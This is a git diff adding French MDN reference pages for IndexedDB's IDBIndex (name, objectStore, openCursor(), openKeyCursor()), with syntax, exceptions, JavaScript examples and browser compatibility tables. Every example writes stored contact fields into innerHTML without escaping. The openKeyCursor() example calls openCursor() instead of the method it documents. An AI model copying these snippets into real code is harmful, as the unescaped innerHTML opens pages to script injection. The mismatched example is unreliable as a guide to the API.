+<p>Dans l'exemple qui suit, on ouvre une transaction sur un magasin d'objets pour lequel on récupère l'index <code>lName</code>. Ensuite, on ouvre un curseur sur cet index avec la méthode {{domxref("IDBIndex.openCursor()")}} (celle-ci fonctionne comme la méthode {{domxref("IDBObjectStore.openCursor", "openCursor()")}} qui s'utilise sur les magasins d'objets mais ici, les enregistrements sont triés selon l'index et pas selon la clé primaire).</p>
+
+<p>Le nom de l'index est affiché dans la console grâce à la propriété (ici, le nom sera <code>"lName"</code>).</p>
+
+<p>Enfin, on parcourt chacun des enregistrements et on ajoute les données dans un tableau HTML.</p>
+
+<pre class="brush: js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  var objectStore = transaction.objectStore('contactsList');
+
+  var myIndex = objectStore.index('lName');
+  console.log(myIndex.name);
+
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Les éléments sont affichés.');
+    }
+  };
+};</pre>
+
+<div class="note">
+<p><strong>Note :</strong> pour un exemple fonctionnel complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">application To-do</a> (<a href="https://mdn.github.io/to-do-notifications/">exemple</a>).</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBIndex-name', 'name')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Possibilité de renommer avec le mutateur lié à <code>name</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Possibilité de renommer avec le mutateur lié à <code>name</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(49)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbindex/objectstore/index.html b/files/fr/web/api/idbindex/objectstore/index.html
new file mode 100644
index 0000000000..6f9a8f95f0
--- /dev/null
+++ b/files/fr/web/api/idbindex/objectstore/index.html
@@ -0,0 +1,167 @@
+---
+title: IDBIndex.objectStore
+slug: Web/API/IDBIndex/objectStore
+translation_of: Web/API/IDBIndex/objectStore
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<div>
+<p>La propriètè <strong><code>objectStore</code></strong> de l'interface {{domxref("IDBIndex")}} renvoie un accès au magasin d'objet que référence l'index.</p>
+
+<p>{{AvailableInWorkers}}</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js" style="font-size: 14px;">var indexObjectStore = myIndex.objectStore;</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Un {{ domxref("IDBObjectStore","accès au magasin d'objet") }}.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Dans l'exemple suivant on ouvre une transaction puis un magasin d'objet et enfin l'index <code>lName</code>.</p>
+
+<p>Le magasin d'objet référencé par l'index est afficher sur la console, quelque chose ressemblant à:</p>
+
+<pre>IDBObjectStore { name: "contactsList", keyPath: "id", indexNames: DOMStringList[7], transaction: IDBTransaction, autoIncrement: false }</pre>
+
+<p>Finalement, On itère sur tous les enregistrements pour en insérer les données dans un tableau HTML. En utilisant la méthode {{domxref("IDBIndex.openCursor")}} qui travaille de la même façon que la méthode {{domxref("IDBObjectStore.openCursor")}} de l'{{domxref("IDBObjectStore","accès")}} au magasin d'objet sauf que les enregistrements sont renvoyés dans l'ordre de l'index et non celui du magasin d'objet.</p>
+
+<pre class="brush:js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+
+  //ouvre un transaction
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  //accés au magasin d'objet
+  var objectStore = transaction.objectStore('contactsList');
+
+  //on récupère l'index
+  var myIndex = objectStore.index('lName');
+  //on affiche le magasin d'objet référencé locale sur la console
+  console.log(myIndex.objectStore);
+
+  //un curseur qui itère sur l'index
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Tous les enregistrements ont été affichés.');
+    }
+  };
+};</pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBIndex-objectStore', 'objectStore')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbindex/opencursor/index.html b/files/fr/web/api/idbindex/opencursor/index.html
new file mode 100644
index 0000000000..71bace93a3
--- /dev/null
+++ b/files/fr/web/api/idbindex/opencursor/index.html
@@ -0,0 +1,230 @@
+---
+title: IDBIndex.openCursor()
+slug: Web/API/IDBIndex/openCursor
+tags:
+  - API
+  - IDBIndex
+  - IndexedDB
+  - Méthode
+  - Reference
+  - openCursor
+translation_of: Web/API/IDBIndex/openCursor
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>openCursor()</code></strong> de l'interface {{domxref("IDBIndex")}} renvoie un objet {{domxref("IDBRequest")}} et, dans un <em>thread</em> séparé, crée <a href="/fr/docs/Web/API/IDBCursor">un curseur</a> sur l'intervalle de clé fourni en argument.</p>
+
+<p>La méthode la positionne le curseur de façon approprié, selon la direction indiquée :</p>
+
+<ul>
+ <li>Si aucun intervalle de clé n'est spécifié ou qu'il vaut {{jsxref("null")}}, l'intervalle résultant contiendra l'ensemble des enregistrements</li>
+ <li>L'évènement <code>success</code> est toujours déclenché :
+  <ul>
+   <li>Si un enregistrement est trouvé la propriété <code>result</code> de l'évènement contient le nouvel objet {{domxref("IDBCursor")}} et la valeur (<code>value</code>) de ce curseur est un clône de la valeur référencée</li>
+   <li>Si aucun enregistrement n'est trouvé la propriété <code>result</code> de l'évènement vaudra <code>null</code>.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var request = myIndex.openCursor(keyRange,direction);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>keyRange</code> {{optional_inline}}</dt>
+ <dd>L'intervalle de clé ({{domxref("IDBKeyRange")}}) sur lequel se déplace le curseur. Si aucun argument n'est passé, la valeur par défaut sera un intervalle qui englobe tous les enregistrements du magasin d'objets.</dd>
+ <dt><code>direction</code> {{optional_inline}}</dt>
+ <dd>La direction dans laquelle se déplace le curseur (la propriété <code>direction</code> de l'objet {{domxref("IDBCursor.direction")}}). La valeur par défaut est <code>"next"</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBRequest")}} sur lequel les évènements associés à l'opération seront déclenchés.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut déclencher une {{domxref("DOMException")}} dont le type peut être l'un des suivant :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Type d'exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>TransactionInactiveError</td>
+   <td>La transaction pour cet index est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>La valeur du paramètre pour la direction est invalide.</td>
+  </tr>
+  <tr>
+   <td>DataError</td>
+   <td>
+    <p>La clé ou l'intervalle de clé fourni contient une clé invalide.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>L'index a été supprimé ou déplacé.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant, on ouvre une transaction puis un magasin d'objet et enfin l'index <code>lName</code>.</p>
+
+<p>Ensuite, on parcourt les enregistrements pour insérer les données dans un tableau HTML. En utilisant la méthode {{domxref("IDBIndex.openCursor")}} qui travaille de la même façon que la méthode {{domxref("IDBObjectStore.openCursor")}} de l'{{domxref("IDBObjectStore","accès")}} au magasin d'objet sauf que les enregistrements sont renvoyés dans l'ordre de l'index et non celui du magasin d'objet.</p>
+
+<pre class="brush:js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+
+  //ouvre un transaction
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  //accés au magasin d'objet
+  var objectStore = transaction.objectStore('contactsList');
+
+  //on récupère l'index
+  var myIndex = objectStore.index('lName');
+
+  //un curseur qui itère sur l'index
+  var request = myIndex.openCursor();
+  request.onsuccess = function(event) {
+    var cursor = request.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Tous les enregistrements ont été affichés.');
+    }
+  };
+};</pre>
+
+<p class="note"><strong>Note :</strong> pour un exemple fonctionnel complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">application To-do</a> (<a href="https://mdn.github.io/to-do-notifications/">exemple</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBIndex-openCursor-IDBRequest-any-range-IDBCursorDirection-direction', 'openCursor()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbindex/openkeycursor/index.html b/files/fr/web/api/idbindex/openkeycursor/index.html
new file mode 100644
index 0000000000..09f7003c12
--- /dev/null
+++ b/files/fr/web/api/idbindex/openkeycursor/index.html
@@ -0,0 +1,228 @@
+---
+title: IDBIndex.openKeyCursor()
+slug: Web/API/IDBIndex/openKeyCursor
+tags:
+  - API
+  - IDBIndex
+  - IndexedDB
+  - Méthode
+  - Reference
+  - openKeyCursor
+translation_of: Web/API/IDBIndex/openKeyCursor
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La méthode <strong><code>openKeyCursor()</code></strong> de {{domxref("IDBIndex")}} renvoie un objet {{domxref("IDBRequest")}} et, dans un <em>thread</em> séparé, crée un curseur sur l'intervalle de clé passé en argument pour l'index courant.</p>
+
+<p>Cette méthode positionne le curseur sur la clé appropriée, dans la direction indiquée :</p>
+
+<ul>
+ <li>si l'intervalle de clé n'est pas défini ou s'il est nul, l'intervalle englobera l'ensemble des clés</li>
+ <li>si au moins une clé correspond à l'intervalle de clés, un évènement <code>success</code> est déclenché pour la requête qui est renvoyée. La propriété <code>result</code> de cet évènement contiendra un objet {{domxref("IDBCursor")}} dont la propriété <code>value</code> correspond à l'enregistrement qui a été traduit.</li>
+ <li>Si aucun intervalle ne correspond à l'intervalle indiqué, un évènement <code>error</code> est déclenché pour la requête.</li>
+</ul>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var monIndex = objectStore.index("index");
+var request = monIndex.openKeyCursor(keyRange,direction);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>keyRange</code> {{optional_inline}}</dt>
+ <dd>L'{{domxref("IDBKeyRange","intervalle de clé")}} sur lequel se déplace le curseur. On peut passer un clé seule qui sera alors considéré comme une {{domxref("IDBKeyRange.only","intervalle seule")}}. Par défaut le curseur se déplace sur l'ensemble des clés de l'index.</dd>
+ <dt><code>direction</code> {{optional_inline}}</dt>
+ <dd>La {{domxref("IDBCursor.direction","direction")}} du {{domxref("IDBCursor","curseur")}} qui défini le sens d'itération. par défaut "next".</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{domxref("IDBRequest")}} sur lequel on peut écouter les évènements associés à l'opération lancée par la méthode.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cette méthode peut lever une exception :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Type d'exception</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>TransactionInactiveError</td>
+   <td>La transaction pour cet index {{domxref("IDBIndex")}} est inactive.</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>La valeur du paramètre pour la direction est invalide.</td>
+  </tr>
+  <tr>
+   <td><code>DataError</code></td>
+   <td>
+    <p>La clé ou l'intervalle de clé fourni contient une clé invalide.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>L'index {{domxref("IDBIndex")}} a été supprimé ou déplacé.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant on ouvre une transaction puis un magasin d'objet et enfin l'index <code>lName</code>.</p>
+
+<p>Ensuite, on itère sur l'ensemble des enregistrements pour en insérer leur clé dans un tableau HTML. En utilisant la méthode {{domxref("IDBIndex.openKeyCursor")}} qui travaille de la même façon que la méthode {{domxref("IDBObjectStore.openKeyCursor")}} de l'{{domxref("IDBObjectStore","accès")}} au magasin d'objet sauf que les enregistrements sont renvoyés dans l'ordre de l'index et non celui du magasin d'objet.</p>
+
+<pre class="brush:js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+
+  //ouvre un transaction
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  //accés au magasin d'objet
+  var objectStore = transaction.objectStore('contactsList');
+
+  //on récupère l'index
+  var myIndex = objectStore.index('lName');
+
+  //un curseur qui itère sur l'index
+  var request = myIndex.openCursor();
+  request.onsuccess = function(event) {
+    var cursor = request.result;
+    if(cursor) {
+
+
+      // cursor.key la clé de l'enregistrement à la position du curseur
+      // il n'y as pas de cursor.value contrairement à openCursor()
+
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.key + '&lt;/td&gt;'
+      tableEntry.appendChild(tableRow);
+
+      //on relance la requête pour la position suivante du curseur
+      cursor.continue();
+    } else {
+      console.log('Toutes les clé ont été affichés.');
+    }
+  };
+};</pre>
+
+<p class="note"><strong>Note :</strong> pour un exemple fonctionnel complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">application To-do</a> (<a href="https://mdn.github.io/to-do-notifications/">exemple</a>).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBIndex-openKeyCursor-IDBRequest-any-range-IDBCursorDirection-direction', 'openKeyCursor()')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible pour les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible pour les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+</ul>
diff --git a/files/fr/web/api/idbindex/unique/index.html b/files/fr/web/api/idbindex/unique/index.html
new file mode 100644
index 0000000000..a10b64189e
--- /dev/null
